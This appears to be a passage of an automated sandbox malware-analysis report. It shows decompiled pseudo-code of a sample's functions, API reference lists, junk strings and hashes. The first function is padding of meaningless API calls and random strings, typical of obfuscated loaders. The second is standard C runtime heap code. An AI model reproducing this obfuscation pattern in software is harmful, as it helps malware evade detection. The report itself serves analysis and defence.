						E0041B4C0(_t205, _t213 + 0x6c, 0, 0x30);
						_t213 = _t213 + 0xc;
						SetDefaultCommConfigW(0, _t213 + 0x68, 0);
						lstrcmpW(0, 0);
						HeapUnlock(0);
						GetConsoleMode(0, 0);
						__imp__GetVolumePathNameA("Piruvora", _t213 + 0x150c, 0);
						MoveFileW(0, 0);
						Process32NextW(0, 0);
						GetFileAttributesExA("gukafipa", 0, _t213 + 0x508);
						GetDriveTypeA(0);
						TryEnterCriticalSection(_t213 + 0x98);
						GetPrivateProfileStructW(L"diponusohivasohopo", L"mawecamaxe", _t213 + 0xd10, 0, L"rixawibonagomukirak");
						WritePrivateProfileSectionA(0, 0, 0);
						GetPrivateProfileSectionW(0, 0, 0, 0);
						GetSystemTimeAdjustment(0, 0, 0);
					}
					_t211 = _t211 + 1;
				} while (_t211 < 0xe6a95);
				_t206 = 0;
				_t235 =  *0x55abe4; // 0xf590
				if(_t235 > 0) {
					do {
						E004199E9(_t206);
						_t206 = _t206 + 1;
						_t236 = _t206 -  *0x55abe4; // 0xf590
					} while (_t236 < 0);
				}
				_t207 = 0;
				do {
					if(_t207 == 0x26) {
						E00419B36(_t200);
					}
					_t207 = _t207 + 1;
				} while (_t207 < 0x3dc4b7);
				E00419C32(); // executed
				if( *0x55abe4 == 0x1d) {
					WriteConsoleW(0, 0, 0, _t213 + 0x18, 0);
					EndUpdateResourceW(0, 0);
					__imp__FindVolumeMountPointClose(0);
					DefineDosDeviceW(0, 0, 0);
					InterlockedExchange(_t213 + 0x14, 0);
					SetMailslotInfo(0, 0);
					GetTapeParameters(0, 0, _t213 + 0x1c, _t213 + 0xd04);
					__imp__CreateActCtxW(_t213 + 0x40);
					FindCloseChangeNotification(0);
					GlobalFindAtomA("Hiwejanoji");
					TerminateProcess(0, 0);
					__imp__GetSystemWindowsDirectoryW(_t213 + 0x1d08, 0);
					GetVersion();
					SetConsoleMode(_t213 + 0x10, 0);
					 *(_t213 + 0x1c) = 0;
					asm("stosd");
					asm("stosd");
					asm("stosd");
					asm("stosd");
					WriteFile(0, _t213 + 0x1510, 0, _t213 + 0x34, _t213 + 0x1c);
					lstrcmpA("Vaguxabufereg godid vefas nehesuh", "Pusazide");
					GetPrivateProfileSectionW(L"bixawapivuyuyavehalusagugeniyuwovazaxehiyuforujiyivi", _t213 + 0x50c, 0, L"suxehecumugilodagaduvixevexirificiseracipefi");
					DebugBreak();
					__imp__DeleteVolumeMountPointA("hukujid");
				}
				return 0;
				L8:
				_t54 =  *0x440160; // 0xffffd25a
				 *0x55abe4 = _t54;
				goto L9;
			}

0x00419e87
0x00419e8c
0x00419ea0
0x00419ea5
0x00419eac
0x00419eb3
0x00419eb9
0x00419ec3
0x00419ec8
0x00419ecb
0x00419ed2
0x00419ed8
0x00419ede
0x00419ee3
0x00419ee3
0x00419ee6
0x00000000
0x00419ee8
0x00419eef
0x00419eff
0x00419f0a
0x00419f12
0x00419f18
0x00419f28
0x00419f33
0x00419f3e
0x00419f45
0x00419f5a
0x00419f6f
0x00419f7f
0x00419f8f
0x00419f9a
0x00419fae
0x00419fb5
0x00419fbc
0x00419fc3
0x00419fcb
0x00419fd2
0x00419fd8
0x00419fe2
0x00419fe9
0x00419ff0
0x00419ff8
0x00419fff
0x0041a00c
0x0041a00c
0x0041a018
0x00000000
0x00000000
0x0041a01a
0x0041a021
0x00000000
0x00000000
0x0041a027
0x0041a033
0x0041a033
0x0041a035
0x0041a03b
0x0041a03d
0x0041a03d
0x0041a04a
0x0041a04f
0x0041a04f
0x0041a055
0x0041a05c
0x0041a05c
0x0041a064
0x0041a066
0x0041a06c
0x0041a06e
0x0041a06e
0x0041a082
0x0041a08a
0x0041a093
0x0041a0a5
0x0041a0b0
0x0041a0b8
0x0041a0bf
0x0041a0cb
0x0041a0d1
0x0041a0d9
0x0041a0e9
0x0041a0f1
0x0041a0fa
0x0041a102
0x0041a10a
0x0041a10b
0x0041a10c
0x0041a10d
0x0041a124
0x0041a132
0x0041a138
0x0041a148
0x0041a14e
0x0041a155
0x0041a166
0x0041a16d
0x0041a177
0x0041a182
0x0041a189
0x0041a190
0x0041a1a0
0x0041a1b2
0x0041a1ba
0x0041a1ba
0x0041a1c0
0x0041a1c1
0x0041a1ce
0x0041a1d3
0x0041a1df
0x0041a1e1
0x0041a1eb
0x0041a1ee
0x0041a1ee
0x0041a1fa
0x0041a1fc
0x0041a201
0x0041a201
0x0041a20d
0x0041a21b
0x0041a222
0x0041a22b
0x0041a23d
0x0041a24d
0x0041a257
0x0041a25b
0x0041a263
0x0041a26d
0x0041a27d
0x0041a28f
0x0041a29f
0x0041a2a7
0x0041a2ae
0x0041a2b8
0x0041a2bc
0x0041a2c5
0x0041a2d4
0x0041a2e2
0x0041a2f8
0x0041a306
0x0041a30a
0x0041a30f
0x0041a319
0x0041a321
0x0041a328
0x0041a330
0x0041a344
0x0041a34c
0x0041a354
0x0041a367
0x0041a36e
0x0041a37c
0x0041a39a
0x0041a3a3
0x0041a3ad
0x0041a3b2
0x0041a3b2
0x0041a3b8
0x0041a3b9
0x0041a3c5
0x0041a3c8
0x0041a3ce
0x0041a3d0
0x0041a3d1
0x0041a3d6
0x0041a3d7
0x0041a3d7
0x0041a3d0
0x0041a3df
0x0041a3e1
0x0041a3e4
0x0041a3e6
0x0041a3e6
0x0041a3eb
0x0041a3ec
0x0041a3f4
0x0041a400
0x0041a40f
0x0041a417
0x0041a41e
0x0041a427
0x0041a433
0x0041a43b
0x0041a450
0x0041a45b
0x0041a462
0x0041a46d
0x0041a475
0x0041a484
0x0041a48a
0x0041a496
0x0041a49e
0x0041a4a6
0x0041a4a7
0x0041a4a8
0x0041a4a9
0x0041a4be
0x0041a4ce
0x0041a4e7
0x0041a4e9
0x0041a4f4
0x0041a4f4
0x0041a505
0x0041a029
0x0041a029
0x0041a02e
0x00000000

APIs

__vswprintf.LIBCMTD ref: 00419EA5

Part of subcall function 0041B4A0: __vsprintf_l.LIBCMTD ref: 0041B4B3

_putc.LIBCMTD ref: 00419EAC

Part of subcall function 0041B0D0: __invalid_parameter.LIBCMTD ref: 0041B15D

__wrename.LIBCMTD ref: 00419EB3

Part of subcall function 0041B080: MoveFileA.KERNEL32 ref: 0041B08E
Part of subcall function 0041B080: GetLastError.KERNEL32 ref: 0041B098
Part of subcall function 0041B080: __dosmaperr.LIBCMTD ref: 0041B0B4

_atexit.LIBCMTD ref: 00419EB9

Part of subcall function 0041AE10: __atof_l.LIBCMTD ref: 0041AE1B

_malloc.LIBCMTD ref: 00419ECB
_realloc.LIBCMTD ref: 00419ED2

Part of subcall function 0041AB60: __realloc_dbg.LIBCMTD ref: 0041AB74

_ferror.LIBCMTD ref: 00419ED8

Part of subcall function 0041AAE0: __invalid_parameter.LIBCMTD ref: 0041AB3A

Part of subcall function 0041AAC0: __wcstoi64.LIBCMTD ref: 0041AACD

GetBinaryTypeA.KERNEL32(hijaduvinijebup,?), ref: 00419EFF
SetCurrentDirectoryA.KERNEL32(lakusoruhajunajiziheruxazoluyoloxujumazomeke), ref: 00419F0A
Process32NextW.KERNEL32(00000000,00000000), ref: 00419F12
InitializeCriticalSection.KERNEL32(00000000,00000000,00000000), ref: 00419F18
QueryDosDeviceW.KERNEL32(00000000,?,00000000), ref: 00419F28
TerminateJobObject.KERNEL32 ref: 00419F33
GlobalAddAtomW.KERNEL32 ref: 00419F3E
DeleteAtom.KERNEL32(00000000), ref: 00419F45
WriteProfileStringA.KERNEL32(tuzokumalazayifadutatoloyiducerujobizezijunotomahidakiv,wapejan,mocisacatenu), ref: 00419F5A
GetFullPathNameA.KERNEL32(Felerah cuhozazikesuzil,00000000,?,00000000), ref: 00419F6F
FindNextVolumeMountPointW.KERNEL32 ref: 00419F7F
GetCompressedFileSizeA.KERNEL32(wovag,?), ref: 00419F8F
GetNamedPipeInfo.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 00419F9A
lstrcpynA.KERNEL32(?,Losufic vahafoj sovoculoziyaja dewofic,00000000), ref: 00419FAE
GetProcessVersion.KERNEL32(00000000), ref: 00419FB5
GetConsoleAliasesLengthW.KERNEL32(00000000), ref: 00419FBC
UnregisterWait.KERNEL32(00000000), ref: 00419FC3
GetProcessHandleCount.KERNEL32(00000000,00000000), ref: 00419FCB
CancelWaitableTimer.KERNEL32(00000000), ref: 00419FD2
SetFileApisToANSI.KERNEL32 ref: 00419FD8
CreateIoCompletionPort.KERNEL32(00000000,00000000,00000000,00000000), ref: 00419FE2
FindClose.KERNEL32(00000000), ref: 00419FE9
SetEndOfFile.KERNEL32(00000000), ref: 00419FF0
GetCommMask.KERNEL32(00000000,00000000), ref: 00419FF8
LocalLock.KERNEL32(00000000), ref: 00419FFF
OpenMutexW.KERNEL32(00000000,00000000,Wuhesuvugocu regacavac), ref: 0041A00C
GetLastError.KERNEL32 ref: 0041A03D
HeapFree.KERNEL32(00000000,00000000,00000000), ref: 0041A04F
WriteConsoleOutputCharacterA.KERNEL32(00000000,tifikekacejininomizewidixazodafetisutaxewuy,00000000,?,?), ref: 0041A0A5
GetModuleHandleW.KERNEL32(Xemov yoxociy pogi), ref: 0041A0B0
GetNumberOfConsoleInputEvents.KERNEL32(00000000,00000000), ref: 0041A0B8
FreeEnvironmentStringsA.KERNEL32(00000000), ref: 0041A0BF
GetWriteWatch.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000), ref: 0041A0CB
GetConsoleAliasExesLengthW.KERNEL32 ref: 0041A0D1
_lopen.KERNEL32(00000000,00000000), ref: 0041A0D9
FileTimeToLocalFileTime.KERNEL32(?,?), ref: 0041A0E9
SetCommState.KERNEL32(00000000,00000000), ref: 0041A0F1
EnumDateFormatsA.KERNEL32(00000000,00000000,00000000), ref: 0041A0FA
TransactNamedPipe.KERNEL32(00000000,00000000,00000000,?,00000000,?,?), ref: 0041A124
WriteConsoleInputW.KERNEL32(00000000,00000000,00000000,?), ref: 0041A132
GetConsoleAliasExesLengthA.KERNEL32 ref: 0041A138
GetAtomNameW.KERNEL32(00000000,?,00000000), ref: 0041A148
FreeConsole.KERNEL32 ref: 0041A14E
FlushConsoleInputBuffer.KERNEL32(00000000), ref: 0041A155
GetConsoleAliasA.KERNEL32(00000000,?,00000000,00000000), ref: 0041A166
SetConsoleCP.KERNEL32(00000000), ref: 0041A16D
VerSetConditionMask.KERNEL32(00000000,00000000,00000000,00000000), ref: 0041A177
LockFile.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 0041A182
SetSystemTime.KERNEL32(00000000), ref: 0041A189
SetThreadExecutionState.KERNEL32 ref: 0041A190
VerLanguageNameW.KERNEL32(00000000,?,00000000), ref: 0041A1A0
lstrcpyA.KERNEL32(?,Hetitanutaf bebucoreko,00000000,?,00000000), ref: 0041A1B2
SetFileShortNameW.KERNEL32(00000000,00000000), ref: 0041A1BA
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 0041A1EE
CreateSemaphoreA.KERNEL32 ref: 0041A21B
GetLocalTime.KERNEL32(00000000), ref: 0041A222
EnumTimeFormatsW.KERNEL32(00000000,00000000,00000000), ref: 0041A22B
FindResourceExW.KERNEL32(00000000,helecebekuxesiwiwifomipuwudokatupibej,pahubahiwucijucemipapujivojadij,00000000), ref: 0041A23D
GetPrivateProfileSectionNamesW.KERNEL32 ref: 0041A24D
GetOverlappedResult.KERNEL32(00000000,00000000,00000000,00000000), ref: 0041A257
WaitNamedPipeA.KERNEL32 ref: 0041A25B
TransmitCommChar.KERNEL32(00000000,00000000), ref: 0041A263
CreateSemaphoreW.KERNEL32(00000000,00000000,00000000,00000000), ref: 0041A26D
GetBinaryTypeW.KERNEL32(Dovi muyafohonifu zapojubocuwuh vuleh,?), ref: 0041A27D
PeekConsoleInputA.KERNEL32(00000000,?,00000000,?), ref: 0041A28F
BuildCommDCBA.KERNEL32 ref: 0041A29F
UnregisterWaitEx.KERNEL32(00000000,00000000), ref: 0041A2A7
GlobalLock.KERNEL32 ref: 0041A2AE
GetOverlappedResult.KERNEL32(00000000,00000000,00000000,00000000), ref: 0041A2B8
GetProcAddress.KERNEL32(00000000,00000000), ref: 0041A2BC
MoveFileExW.KERNEL32(00000000,00000000,00000000), ref: 0041A2C5
GetThreadContext.KERNEL32(00000000,?), ref: 0041A2D4
ResetEvent.KERNEL32(?), ref: 0041A2E2
FindActCtxSectionStringA.KERNEL32(00000000,00000000,00000000,Cat tafugozeyab jumulizodunef sazu buxonisiz,?), ref: 0041A2F8
_memset.LIBCMT ref: 0041A30A
SetDefaultCommConfigW.KERNEL32(00000000,?,00000000), ref: 0041A319
lstrcmpW.KERNEL32(00000000,00000000), ref: 0041A321
HeapUnlock.KERNEL32(00000000), ref: 0041A328
GetConsoleMode.KERNEL32(00000000,00000000), ref: 0041A330
GetVolumePathNameA.KERNEL32 ref: 0041A344
MoveFileW.KERNEL32(00000000,00000000), ref: 0041A34C
Process32NextW.KERNEL32(00000000,00000000), ref: 0041A354
GetFileAttributesExA.KERNEL32(gukafipa,00000000,?), ref: 0041A367
GetDriveTypeA.KERNEL32(00000000), ref: 0041A36E
TryEnterCriticalSection.KERNEL32(?), ref: 0041A37C
GetPrivateProfileStructW.KERNEL32 ref: 0041A39A
WritePrivateProfileSectionA.KERNEL32(00000000,00000000,00000000), ref: 0041A3A3
GetPrivateProfileSectionW.KERNEL32 ref: 0041A3AD
GetSystemTimeAdjustment.KERNEL32(00000000,00000000,00000000), ref: 0041A3B2
WriteConsoleW.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 0041A40F
EndUpdateResourceW.KERNEL32(00000000,00000000), ref: 0041A417
FindVolumeMountPointClose.KERNEL32(00000000), ref: 0041A41E
DefineDosDeviceW.KERNEL32(00000000,00000000,00000000), ref: 0041A427
InterlockedExchange.KERNEL32(?,00000000), ref: 0041A433
SetMailslotInfo.KERNEL32(00000000,00000000), ref: 0041A43B
GetTapeParameters.KERNEL32 ref: 0041A450
CreateActCtxW.KERNEL32(?), ref: 0041A45B
FindCloseChangeNotification.KERNEL32(00000000), ref: 0041A462
GlobalFindAtomA.KERNEL32(Hiwejanoji), ref: 0041A46D
TerminateProcess.KERNEL32(00000000,00000000), ref: 0041A475
GetSystemWindowsDirectoryW.KERNEL32 ref: 0041A484
GetVersion.KERNEL32 ref: 0041A48A
SetConsoleMode.KERNEL32(?,00000000), ref: 0041A496
WriteFile.KERNEL32(00000000,?,00000000,?,?), ref: 0041A4BE
lstrcmpA.KERNEL32(Vaguxabufereg godid vefas nehesuh,Pusazide), ref: 0041A4CE
GetPrivateProfileSectionW.KERNEL32 ref: 0041A4E7
DebugBreak.KERNEL32 ref: 0041A4E9
DeleteVolumeMountPointA.KERNEL32 ref: 0041A4F4

Strings

mawecamaxe, xrefs: 0041A390
Pusazide, xrefs: 0041A4C4
tifikekacejininomizewidixazodafetisutaxewuy, xrefs: 0041A09F
Cat tafugozeyab jumulizodunef sazu buxonisiz, xrefs: 0041A2F0
tivomifuzasesufaholivikasekalene, xrefs: 0041A213
cbH, xrefs: 0041A1C1
Varihokegal vecu sahavujuv nemociyanuha lotom, xrefs: 0041A29A
lakusoruhajunajiziheruxazoluyoloxujumazomeke, xrefs: 00419F05
0.0, xrefs: 00419EBE
Xemov yoxociy pogi, xrefs: 0041A0AB
Hiwejanoji, xrefs: 0041A468
bixawapivuyuyavehalusagugeniyuwovazaxehiyuforujiyivi, xrefs: 0041A4E2
Felerah cuhozazikesuzil, xrefs: 00419F6A
wapejan, xrefs: 00419F50
mocisacatenu, xrefs: 00419F4B
wovag, xrefs: 00419F8A
hijaduvinijebup, xrefs: 00419EFA
pahubahiwucijucemipapujivojadij, xrefs: 0041A232
Wuhesuvugocu regacavac, xrefs: 0041A005
Piruvora, xrefs: 0041A33F
hukujid, xrefs: 0041A4EF
tuzokumalazayifadutatoloyiducerujobizezijunotomahidakiv, xrefs: 00419F55
helecebekuxesiwiwifomipuwudokatupibej, xrefs: 0041A237
Losufic vahafoj sovoculoziyaja dewofic, xrefs: 00419FA1
Vozecitak mov, xrefs: 00419F39
Dovi muyafohonifu zapojubocuwuh vuleh, xrefs: 0041A278
rixawibonagomukirak, xrefs: 0041A382
diponusohivasohopo, xrefs: 0041A395
Vaguxabufereg godid vefas nehesuh, xrefs: 0041A4C9
suxehecumugilodagaduvixevexirificiseracipefi, xrefs: 0041A4D4
Hetitanutaf bebucoreko, xrefs: 0041A1A5
gukafipa, xrefs: 0041A362

Memory Dump Source

Source File: 0000000E.00000002.409547130.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.409537880.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.409607278.0000000000440000.00000004.00020000.sdmp Download File
Associated: 0000000E.00000002.409647814.000000000055A000.00000004.00020000.sdmp Download File
Associated: 0000000E.00000002.409667552.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_B55D.jbxd

Similarity

API ID: Console$File$FindSectionWrite$ProfileTime$CommNamePrivate$AtomCreateFreeInputVolume$AliasCloseGlobalLengthLocalLockMountMoveNamedNextPipePointProcessSystemTypeWait$BinaryCriticalDeleteDeviceDirectoryEnumEnvironmentErrorExesFormatsHandleHeapInfoLastMaskModeOverlappedPathProcess32ResourceResultSemaphoreStateStringStringsTerminateThreadUnregisterVersion__invalid_parameterlstrcmp$AddressAdjustmentAliasesApisAttributesBreakBufferBuildCancelChangeCharCharacterCompletionCompressedConditionConfigContextCountCurrentDateDebugDefaultDefineDriveEnterEventEventsExchangeExecutionFlushFullInitializeInterlockedLanguageMailslotModuleMutexNamesNotificationNumberObjectOpenOutputParametersPeekPortProcQueryResetShortSizeStructTapeTimerTransactTransmitUnlockUpdateWaitableWatchWindows__atof_l__dosmaperr__realloc_dbg__vsprintf_l__vswprintf__wcstoi64__wrename_atexit_ferror_lopen_malloc_memset_putc_realloclstrcpylstrcpyn
String ID: 0.0$Cat tafugozeyab jumulizodunef sazu buxonisiz$Dovi muyafohonifu zapojubocuwuh vuleh$Felerah cuhozazikesuzil$Hetitanutaf bebucoreko$Hiwejanoji$Losufic vahafoj sovoculoziyaja dewofic$Piruvora$Pusazide$Vaguxabufereg godid vefas nehesuh$Varihokegal vecu sahavujuv nemociyanuha lotom$Vozecitak mov$Wuhesuvugocu regacavac$Xemov yoxociy pogi$bixawapivuyuyavehalusagugeniyuwovazaxehiyuforujiyivi$cbH$diponusohivasohopo$gukafipa$helecebekuxesiwiwifomipuwudokatupibej$hijaduvinijebup$hukujid$lakusoruhajunajiziheruxazoluyoloxujumazomeke$mawecamaxe$mocisacatenu$pahubahiwucijucemipapujivojadij$rixawibonagomukirak$suxehecumugilodagaduvixevexirificiseracipefi$tifikekacejininomizewidixazodafetisutaxewuy$tivomifuzasesufaholivikasekalene$tuzokumalazayifadutatoloyiducerujobizezijunotomahidakiv$wapejan$wovag
API String ID: 522183021-367846507
Opcode ID: 718b702f02925ba52c964574c40754f5b409aff71ad7eb742f52a68ed35a38c3
Instruction ID: afb292db8259f845506471b60639bce3426547226d267ac4d6f557c489b8d9b0
Opcode Fuzzy Hash: 718b702f02925ba52c964574c40754f5b409aff71ad7eb742f52a68ed35a38c3
Instruction Fuzzy Hash: A6F1E976506664BBC321ABA1AE4CDDF3E6CEF4E351B00442AF24AE5070D7385645CBBE

Uniqueness

Uniqueness Score: -1.00%

Function 0041B9B7, Relevance: 19.5, APIs: 5, Strings: 6, Instructions: 252
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 61%

			E0041B9B7() {
				signed int _t79;
				signed int _t80;
				intOrPtr _t81;
				signed int _t97;
				void* _t102;
				void* _t103;
				signed int _t105;
				void* _t109;
				void* _t110;
				intOrPtr _t112;
				void* _t115;
				void* _t116;
				signed int _t122;
				signed int _t123;
				intOrPtr _t126;
				signed int _t127;
				signed int _t157;
				intOrPtr _t158;
				intOrPtr _t159;
				signed int _t169;
				signed int _t170;
				void* _t171;
				void* _t173;
				void* _t175;
				void* _t177;
				void* _t178;
				void* _t188;
				void* _t192;

				_t178 = _t177 + 4;
				 *(_t175 - 4) = 0;
				if( *0x55ac24 > 0) {
					_t112 =  *0x55ac24; // 0x0
					_t188 =  *0x55ac0c - _t112 - 1; // 0x0
					if(_t188 != 0) {
						_t169 =  *0x55ac0c; // 0x0
						_t170 = _t169 + 1;
						__eflags = _t170;
						 *0x55ac0c = _t170;
					} else {
						if(E0041CC90() == 0) {
							_push(L"_CrtCheckMemory()");
							_push(0);
							_push(0x179);
							_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgheap.c");
							_push(2);
							_t115 = L0041E330();
							_t178 = _t178 + 0x14;
							if(_t115 == 1) {
								asm("int3");
							}
						}
						 *0x55ac0c = 0;
					}
				}
				_t79 =  *0x44020c; // 0x34
				 *(_t175 - 0x28) = _t79;
				if( *0x440210 != 0xffffffff) {
					_t192 =  *(_t175 - 0x28) -  *0x440210; // 0xffffffff
					if(_t192 == 0) {
						asm("int3");
					}
				}
				if( *0x44105c == 0) {
					L19:
					__eflags = ( *(_t175 + 0xc) & 0x0000ffff) - 2;
					if(( *(_t175 + 0xc) & 0x0000ffff) != 2) {
						_t105 =  *0x440204; // 0x1
						__eflags = _t105 & 0x00000001;
						if((_t105 & 0x00000001) == 0) {
							 *(_t175 - 0x1c) = 1;
						}
					}
					__eflags =  *((intOrPtr*)(_t175 + 8)) - 0xffffffbc;
					if( *((intOrPtr*)(_t175 + 8)) <= 0xffffffbc) {
						__eflags = ( *(_t175 + 0xc) & 0x0000ffff) - 4;
						if(( *(_t175 + 0xc) & 0x0000ffff) != 4) {
							__eflags =  *(_t175 + 0xc) - 1;
							if( *(_t175 + 0xc) != 1) {
								__eflags = ( *(_t175 + 0xc) & 0x0000ffff) - 2;
								if(( *(_t175 + 0xc) & 0x0000ffff) != 2) {
									__eflags =  *(_t175 + 0xc) - 3;
									if( *(_t175 + 0xc) != 3) {
										_t102 = L00429530(1, 0, 0, 0, "%s", "Error: memory allocation: bad memory block type.\n");
										_t178 = _t178 + 0x18;
										__eflags = _t102 - 1;
										if(_t102 == 1) {
											asm("int3");
										}
									}
								}
							}
						}
						 *((intOrPtr*)(_t175 - 0x2c)) =  *((intOrPtr*)(_t175 + 8)) + 0x24;
						_t80 = E00429470(_t116, _t171, _t173,  *((intOrPtr*)(_t175 - 0x2c))); // executed
						 *(_t175 - 0x24) = _t80;
						__eflags =  *(_t175 - 0x24);
						if( *(_t175 - 0x24) != 0) {
							_t122 =  *0x44020c; // 0x34
							_t123 = _t122 + 1;
							 *0x44020c = _t123;
							__eflags =  *(_t175 - 0x1c);
							if( *(_t175 - 0x1c) == 0) {
								__eflags = (_t123 | 0xffffffff) -  *0x55ac04 -  *((intOrPtr*)(_t175 + 8));
								if((_t123 | 0xffffffff) -  *0x55ac04 <=  *((intOrPtr*)(_t175 + 8))) {
									 *0x55ac04 = 0xffffffff;
								} else {
									_t159 =  *0x55ac04; // 0x387c
									 *0x55ac04 = _t159 +  *((intOrPtr*)(_t175 + 8));
								}
								_t81 =  *0x55ac1c; // 0x1fe4
								 *0x55ac1c = _t81 +  *((intOrPtr*)(_t175 + 8));
								_t126 =  *0x55ac1c; // 0x1fe4
								__eflags = _t126 -  *0x55ac10; // 0x23b4
								if(__eflags > 0) {
									_t158 =  *0x55ac1c; // 0x1fe4
									 *0x55ac10 = _t158;
								}
								__eflags =  *0x55ac14;
								if( *0x55ac14 == 0) {
									 *0x55ac08 =  *(_t175 - 0x24);
								} else {
									_t97 =  *0x55ac14; // 0x921318
									 *(_t97 + 4) =  *(_t175 - 0x24);
								}
								_t127 =  *0x55ac14; // 0x921318
								 *( *(_t175 - 0x24)) = _t127;
								 *( *(_t175 - 0x24) + 4) = 0;
								 *( *(_t175 - 0x24) + 8) =  *(_t175 + 0x10);
								 *((intOrPtr*)( *(_t175 - 0x24) + 0xc)) =  *((intOrPtr*)(_t175 + 0x14));
								 *((intOrPtr*)( *(_t175 - 0x24) + 0x10)) =  *((intOrPtr*)(_t175 + 8));
								 *( *(_t175 - 0x24) + 0x14) =  *(_t175 + 0xc);
								 *( *(_t175 - 0x24) + 0x18) =  *(_t175 - 0x28);
								 *0x55ac14 =  *(_t175 - 0x24);
							} else {
								 *( *(_t175 - 0x24)) = 0;
								 *( *(_t175 - 0x24) + 4) = 0;
								 *( *(_t175 - 0x24) + 8) = 0;
								 *((intOrPtr*)( *(_t175 - 0x24) + 0xc)) = 0xfedcbabc;
								 *((intOrPtr*)( *(_t175 - 0x24) + 0x10)) =  *((intOrPtr*)(_t175 + 8));
								 *( *(_t175 - 0x24) + 0x14) = 3;
								 *( *(_t175 - 0x24) + 0x18) = 0;
							}
							E0041B4C0(_t171,  *(_t175 - 0x24) + 0x1c,  *0x440214 & 0x000000ff, 4);
							E0041B4C0(_t171,  *(_t175 - 0x24) +  *((intOrPtr*)(_t175 + 8)) + 0x20,  *0x440214 & 0x000000ff, 4);
							E0041B4C0(_t171,  *(_t175 - 0x24) + 0x20,  *0x440217 & 0x000000ff,  *((intOrPtr*)(_t175 + 8)));
							_t157 =  *(_t175 - 0x24) + 0x20;
							__eflags = _t157;
							 *(_t175 - 0x20) = _t157;
						} else {
							 *((intOrPtr*)( *((intOrPtr*)(_t175 + 0x18)))) = 0xc;
						}
					} else {
						_t103 = L00429530(1, 0, 0, 0, "Invalid allocation size: %Iu bytes.\n",  *((intOrPtr*)(_t175 + 8)));
						__eflags = _t103 - 1;
						if(_t103 == 1) {
							asm("int3");
						}
						 *((intOrPtr*)( *((intOrPtr*)(_t175 + 0x18)))) = 0xc;
					}
					L46:
					 *(_t175 - 4) = 0xfffffffe;
					E0041BD00();
					 *[fs:0x0] =  *((intOrPtr*)(_t175 - 0x10));
					return  *(_t175 - 0x20);
				}
				_t109 =  *0x44105c(1, 0,  *((intOrPtr*)(_t175 + 8)),  *(_t175 + 0xc),  *(_t175 - 0x28),  *(_t175 + 0x10),  *((intOrPtr*)(_t175 + 0x14)));
				_t178 = _t178 + 0x1c;
				if(_t109 != 0) {
					goto L19;
				}
				if( *(_t175 + 0x10) == 0) {
					_t110 = L00429530(0, 0, 0, 0, "%s", "Client hook allocation failure.\n");
					__eflags = _t110 - 1;
					if(_t110 == 1) {
						asm("int3");
					}
					L18:
					goto L46;
				}
				_push( *((intOrPtr*)(_t175 + 0x14)));
				if(L00429530(0, 0, 0, 0, "Client hook allocation failure at file %hs line %d.\n",  *(_t175 + 0x10)) == 1) {
					asm("int3");
				}
				goto L18;
			}

0x0041b9b7
0x0041b9ba
0x0041b9c8
0x0041b9ca
0x0041b9d2
0x0041b9d8
0x0041ba10
0x0041ba16
0x0041ba16
0x0041ba19
0x0041b9da
0x0041b9e1
0x0041b9e3
0x0041b9e8
0x0041b9ea
0x0041b9ef
0x0041b9f4
0x0041b9f6
0x0041b9fb
0x0041ba01
0x0041ba03
0x0041ba03
0x0041ba01
0x0041ba04
0x0041ba04
0x0041b9d8
0x0041ba1f
0x0041ba24
0x0041ba2e
0x0041ba33
0x0041ba39
0x0041ba3b
0x0041ba3b
0x0041ba39
0x0041ba43
0x0041baba
0x0041bac3
0x0041bac6
0x0041bac8
0x0041bacd
0x0041bad0
0x0041bad2
0x0041bad2
0x0041bad0
0x0041bad9
0x0041badd
0x0041bb15
0x0041bb18
0x0041bb1a
0x0041bb1e
0x0041bb29
0x0041bb2c
0x0041bb2e
0x0041bb32
0x0041bb46
0x0041bb4b
0x0041bb4e
0x0041bb51
0x0041bb53
0x0041bb53
0x0041bb51
0x0041bb32
0x0041bb2c
0x0041bb1e
0x0041bb5a
0x0041bb61
0x0041bb69
0x0041bb6c
0x0041bb70
0x0041bb80
0x0041bb86
0x0041bb89
0x0041bb8f
0x0041bb93
0x0041bbe7
0x0041bbea
0x0041bbfd
0x0041bbec
0x0041bbec
0x0041bbf5
0x0041bbf5
0x0041bc07
0x0041bc0f
0x0041bc14
0x0041bc1a
0x0041bc20
0x0041bc22
0x0041bc28
0x0041bc28
0x0041bc2e
0x0041bc35
0x0041bc47
0x0041bc37
0x0041bc37
0x0041bc3f
0x0041bc3f
0x0041bc50
0x0041bc56
0x0041bc5b
0x0041bc68
0x0041bc71
0x0041bc7a
0x0041bc83
0x0041bc8c
0x0041bc92
0x0041bb95
0x0041bb98
0x0041bba1
0x0041bbab
0x0041bbb5
0x0041bbc2
0x0041bbc8
0x0041bbd2
0x0041bbd2
0x0041bca9
0x0041bcc6
0x0041bce1
0x0041bcec
0x0041bcec
0x0041bcef
0x0041bb72
0x0041bb75
0x0041bb75
0x0041badf
0x0041baf0
0x0041baf8
0x0041bafb
0x0041bafd
0x0041bafd
0x0041bb01
0x0041bb01
0x0041bcf2
0x0041bcf2
0x0041bcf9
0x0041bd11
0x0041bd1f
0x0041bd1f
0x0041ba5d
0x0041ba63
0x0041ba68
0x00000000
0x00000000
0x0041ba6e
0x0041baa7
0x0041baaf
0x0041bab2
0x0041bab4
0x0041bab4
0x0041bab5
0x00000000
0x0041bab5
0x0041ba73
0x0041ba90
0x0041ba92
0x0041ba92
0x00000000

APIs

__CrtCheckMemory.LIBCMTD ref: 0041B9DA
__heap_alloc_base.LIBCMTD ref: 0041BB61
_memset.LIBCMT ref: 0041BCA9
_memset.LIBCMT ref: 0041BCC6
_memset.LIBCMT ref: 0041BCE1

Strings

Invalid allocation size: %Iu bytes., xrefs: 0041BAE3
Client hook allocation failure at file %hs line %d., xrefs: 0041BA78
_CrtCheckMemory(), xrefs: 0041B9E3
f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c, xrefs: 0041B9EF
Error: memory allocation: bad memory block type., xrefs: 0041BB34
